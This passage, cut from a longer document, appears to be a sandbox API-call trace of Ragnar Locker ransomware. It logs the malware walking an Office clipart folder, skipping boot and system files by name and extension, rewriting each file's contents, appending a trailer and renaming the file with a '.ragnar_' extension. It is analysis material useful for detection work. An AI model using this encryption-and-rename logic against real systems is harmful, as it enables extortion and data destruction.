Office\\CLIPART\\PUB60COR\\SO00452_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ragnar_FD7BD9FC" [0091.409] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00452_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00452_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d2000, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96d2000, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00453_.WMF", cAlternateFileName="")) returned 1 [0091.410] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.410] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00453_.WMF" | out: lpString1="SO00453_.WMF") returned="SO00453_.WMF" [0091.410] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF") returned=".WMF" [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="autorun.inf") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="boot.ini") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="bootfont.bin") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="bootsect.bak") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="bootmgr") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="bootmgr.efi") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="desktop.ini") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="iconcache.db") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="ntldr") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="ntuser.dat") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="ntuser.ini") returned 1 [0091.411] lstrcmpiW (lpString1="SO00453_.WMF", lpString2="thumbs.db") returned -1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.411] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf")) returned 0x20 [0091.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.412] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23020) returned 1 [0091.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.412] GetProcessHeap () returned 0x580000 [0091.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.412] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.413] VirtualAlloc (lpAddress=0x0, dwSize=0x59ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.413] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.414] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x59ec, lpOverlapped=0x0) returned 1 [0091.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.415] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x59ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.415] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x59ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x59ec, lpOverlapped=0x0) returned 1 [0091.415] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x59ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.415] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x59ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.415] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.416] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.416] GetProcessHeap () returned 0x580000 [0091.416] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.416] CloseHandle (hObject=0xf4) returned 1 [0091.416] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" [0091.416] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ragnar_FD7BD9FC" [0091.416] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00453_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00453_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.417] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa04e1b00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa04e1b00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00454_.WMF", cAlternateFileName="")) returned 1 [0091.417] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.417] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00454_.WMF" | out: lpString1="SO00454_.WMF") returned="SO00454_.WMF" [0091.417] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF") returned=".WMF" [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="autorun.inf") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="boot.ini") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="bootfont.bin") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="bootsect.bak") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="bootmgr") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="bootmgr.efi") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="desktop.ini") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="iconcache.db") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="ntldr") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="ntuser.dat") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="ntuser.ini") returned 1 [0091.417] lstrcmpiW (lpString1="SO00454_.WMF", lpString2="thumbs.db") returned -1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.417] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.417] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf")) returned 0x20 [0091.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2924) returned 1 [0091.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.419] GetProcessHeap () returned 0x580000 [0091.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.420] VirtualAlloc (lpAddress=0x0, dwSize=0xb6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.420] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb6c, lpOverlapped=0x0) returned 1 [0091.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.420] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.420] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb6c, lpOverlapped=0x0) returned 1 [0091.421] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.421] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.421] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.421] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.421] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.421] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.421] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.421] GetProcessHeap () returned 0x580000 [0091.421] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.421] CloseHandle (hObject=0xf4) returned 1 [0091.421] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" [0091.421] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ragnar_FD7BD9FC" [0091.421] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00454_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00454_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.422] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00466_.WMF", cAlternateFileName="")) returned 1 [0091.422] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.422] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00466_.WMF" | out: lpString1="SO00466_.WMF") returned="SO00466_.WMF" [0091.422] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF") returned=".WMF" [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="autorun.inf") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="boot.ini") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="bootfont.bin") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="bootsect.bak") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="bootmgr") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="bootmgr.efi") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="desktop.ini") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="iconcache.db") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="ntldr") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="ntuser.dat") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="ntuser.ini") returned 1 [0091.422] lstrcmpiW (lpString1="SO00466_.WMF", lpString2="thumbs.db") returned -1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.423] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.423] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf")) returned 0x20 [0091.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.423] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2760) returned 1 [0091.423] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xabf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.423] GetProcessHeap () returned 0x580000 [0091.423] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.423] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.425] VirtualAlloc (lpAddress=0x0, dwSize=0xac8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.425] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xac8, lpOverlapped=0x0) returned 1 [0091.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.425] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac8, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.425] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xac8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xac8, lpOverlapped=0x0) returned 1 [0091.425] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.425] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.426] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xac8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.426] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.426] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.426] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.426] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.426] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.426] GetProcessHeap () returned 0x580000 [0091.426] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.426] CloseHandle (hObject=0xf4) returned 1 [0091.426] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" [0091.426] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ragnar_FD7BD9FC" [0091.426] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00466_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00466_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.427] FindNextFileW (in: hFindFile=0x5a1328, 